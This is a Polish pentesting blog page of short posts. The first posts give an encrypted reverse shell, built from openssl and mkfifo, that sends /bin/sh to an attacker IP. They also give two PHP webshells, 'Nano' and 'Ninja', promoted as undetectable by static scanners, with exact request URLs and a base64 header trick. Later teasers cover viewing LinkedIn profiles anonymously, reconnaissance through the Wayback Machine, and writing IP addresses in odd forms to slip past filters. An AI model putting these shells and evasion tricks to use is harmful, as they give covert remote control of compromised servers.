Skoro wszędzie dzisiaj mamy szyfrowanie – wypada, aby powłoki zwrotne również były szyfrowane. W celu uruchomienia serwera do nasłuchu należy wygenerować klucz oraz certyfikat na maszynie (o IP: 1.2.3.4) służącej do ataku:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Odpalenie serwera:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Na atakowanej maszynie, na której mamy możliwość RCE (ang. Remote Code Execution) wydajemy polecenie:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 \
| openssl s_client -quiet -connect 1.2.3.4:8080 > /tmp/s; rm /tmp/s

Więcej informacji: RevSSL

Nano jest małym webshellem zakodowanym w technice code golf, aby być bardziej niewykrywalnym, a zarazem wydajnym:

<?=$_GET[p]==_&&$_GET[f]($GET_[c]);

Jego zaletami są: tylko 35 bajtów rozmiaru; niewykrywalny przez skanery kodu statycznego; obsługuje uwierzytelnianie. Przykład użycia:

http://host.pl/nano.php?f=function&c=command&p=password

Gdzie: f = funkcja ; c = komenda; p = hasło
Na przykład poniższe żądnie HTTP wykona polecenie ls:

http://host.pl/nano.php?f=system&c=ls&p=password

Oprócz Nano jest jeszcze Ninja:

<?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);

Jego zaletami są: tylko 93 bajtów rozmiaru; trudny do wykrycia. Przykład użycia:

curl -H 'x: xc3lzdGVtfmxz' http://host.pl/nano.php

Wydaje się trochę skomplikowane, ale jeśli chcemy wykonać polecenie system(ls) to zapisujemy je jako ciąg: system~ls następnie kodujemy go w base64, czyli: c3lzdGVtfmxz – dodajemy jeden znak x przed zakodowanym ciągiem: xc3lzdGVtfmxz i wysyłamy w żądaniu HTTP jako nagłówek x.

Więcej informacji: Nano

I

nernet to wodospad cieknących danych. W mojej pierwszej serii Necronomicon ( część I oraz II) mogliśmy się o tym przekonać na przykładzie skracarek adresów URL. Dzisiaj zajmiemy się serwisami oferującymi miejsce na repozytoria kodu. Ale od początku. Jakieś dziesięć lat temu powstał ruch DevOps – przechodząc przez różne etapy rozwoju dołączono do niego kolejny człon – DevSecOps. Upraszczając: jest to ruch, który osadza w cykl życia oprogramowania procesy bezpieczeństwa. Jego braki lub luki proceduralne są częstym i w dużej mierze niedocenianym wektorem zagrożeń dla wielu firm i organizacji.
[ czytaj całość… ]

O

prócz masowego ściągania profili istnieje również możliwość anonimowego przeglądania profili na portalu LinkedIn. Jak wyświetlić anonimowo profil LinkedIn bez konieczności logowania się lub posiadania profilu LinkedIn?

• 1. Wyszukujemy osobę powiązaną z profilem LinkedIn za pomocą wyszukiwarki internetowej (np. Google, Bing, DuckDuckGo itd.) – zazwyczaj jest to fraza „Imię Nazwisko LinkedIn”,
• 2. Po znalezieniu adresu URL preferowanego profilu LinkedIn, na który chcemy rzucić anonimowym okiem – kopiujemy jego adres URL,
• 3. Otwieramy nową kartę w przeglądarce i przechodzimy w niej na stronę do testu optymalizacji mobilnej,
• 4. Wklejamy skopiowany adres URL LinkedIn z wyszukiwarki (pkt. 1) i klikamy TESTOWY URL,
• 5. Po zakończeniu procesu analizy klikamy na HTML,
• 6. Zaznaczamy cały kod HTML i kopiujemy go do schowka,
• 7. Otwieramy nową kartę w przeglądarce i przechodzimy w niej na stronę z edytorem renderującym kod HTML,
• 8. Wklejamy HTML ze schowka i klikamy RUN,
• 9. Po wyrenderowaniu strony będziemy mogli zobaczyć profil LinkedIn.

Więcej informacji: 10 Minute Tip: Viewing LinkedIn Profiles Anonymously

N

a samym początku należy zaznaczyć, że stanowisko projektu WordPress jest jednoznaczne w tej sprawie: nie uznaje nazw użytkowników ani identyfikatorów użytkowników za prywatne lub bezpieczne informacje. Nazwa użytkownika jest częścią Twojej tożsamości online. Ma na celu identyfikację, a nie weryfikację tego, kim jesteś. Weryfikacja jest zadaniem hasła. Ogólnie rzecz biorąc, ludzie nie uważają nazw użytkowników za tajne, często udostępniając je otwarcie. Ponadto wiele dużych firm internetowych – takich jak Google i Facebook – zrezygnowało z nazw użytkowników na rzecz adresów e-mail, które są udostępniane w sposób ciągły i swobodny. WordPress również przeniósł się na ten sposób, umożliwiając użytkownikom logowanie się przy użyciu adresu e-mail lub nazwy użytkownika od wersji 4.5.
[ czytaj całość… ]

P

ierwszy wariant tego ataku opierał się na systemie zgłaszania i śledzenia błędów (np. Zendesk). W drugim wariancie przewiduje on użycie Google Groups. Wstępny scenariusz ataku został odkryty już w 2018 roku przez Kenna Security we współpracy z KerbsOnSecurity. Otóż błędna konfiguracja grup dyskusyjnych Google powoduje ujawnienie poufnych wiadomości e-mail od tysięcy organizacji, w tym niektórych firm z listy Fortune 500. Wpłynęło to na wiele branż: od agencji rządowych USA, szpitali i instytucji akademickich po media znanych stacji telewizyjnych i gazet.
[ czytaj całość… ]

W

szystko zaczęło się od jednego tweeta, który uświadomił nagle wielu osobom, że mechanizm w dystrybucji Linuksa Ubuntu za pomocą skryptów odpowiedzialnych za generowanie zawartości pliku /etc/motd (ang. Message of the Day) pobiera informacje z serwerów firmy Ubuntu. Nic by nie było w tym dziwnego, gdyby nie fakt, że podczas tego procesu wysyła też sporo „osobistych” i możliwych do zidentyfikowania informacji z Twojej stacji roboczej lub serwera. Za każdym razem kiedy logujemy się na maszynę dowolnego Linuksa uruchamiamy logikę w „MOTD”. Jest to komunikat dnia, który może być ustawiony przez administratora w celu przekazania informacji użytkownikom lub różne skrypty w celu poinformowania administratora o roli i innych metadanych serwera:
[ czytaj całość… ]

D

amn Vulnerable Web App (DVWA) jest aplikacją internetową napisaną w języku PHP (jako bazę wykorzystuje MySQL), która jest bardzo podatna na różne ataki. Jej głównym celem jest pomoc różnego specjalistom ds. bezpieczeństwa na różnym poziomie rozwoju w testowaniu swoich umiejętności i narzędzi na specjalnie przygotowanym do tego środowisku. Zarazem twórcy stron internetowych mogą za jej pomocą lepiej zrozumieć procesy zabezpieczenia aplikacji internetowych.
[ czytaj całość… ]

W

ayback Machine to archiwum internetowe, znajdujące się pod adresem archive.org/web/. Jest to zbiór ponad 401 (i rośnie) miliardów migawek (ang. snapshots) stron internetowych zapisanych na osi czasu. Dla łowców błędów oraz pentesterów może stanowić narzędzie do pasywnego rekonesansu. Dzięki temu serwisowi jesteśmy w stanie uzyskać dostęp do starych wersji stron internetowych. Czasami obecna wersja strony jest względnie bezpieczna, ale migawki starszych wersji mogą ujawniać ciekawe informacje lub błędy. Czyli Wayback Machine można traktować jak wehikuł czasu, który pozwala cofnąć się w czasie i zobaczyć, jak kiedyś wyglądała strona / jakie pliki i ścieżki serwer serwował, aby uzyskać więcej informacji niż to, co jest dostępne w bieżącej wersji. Na przykład:
[ czytaj całość… ]

J

eśli posiadamy podatność, która bazuje na adresie IP, ale zapora pośrednicząco-filtrująca utrudnia nam zadanie eksploatacji pamiętajmy, że adres IP od strony klienta można zapisać na wiele sposobów. Na przykład:

$ ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 data bytes

$ ping 3232235521
PING 3232235521 (192.168.0.1): 56 data bytes

$ ping 0xC0A80001
PING 0xC0A80001 (192.168.0.1): 56 data bytes

$ ping 192.168.1
PING 192.168.1 (192.168.0.1): 56 data bytes

$ ping 192.168.257
PING 192.168.257 (192.168.1.1): 56 data bytes

$ ping ::ffff:c0a8:0001
PING ::ffff:c0a8:0001(::ffff:192.168.0.1) 56 data bytes

$ ping 0000:0000:0000:0000:0000:ffff:c0a8:0001
PING 0000:0000:0000:0000:0000:ffff:c0a8:0001(::ffff:192.168.0.1) 56 data bytes

Więcej informacji: IPv4 Converter, inet_aton(3), IPv6 address formats,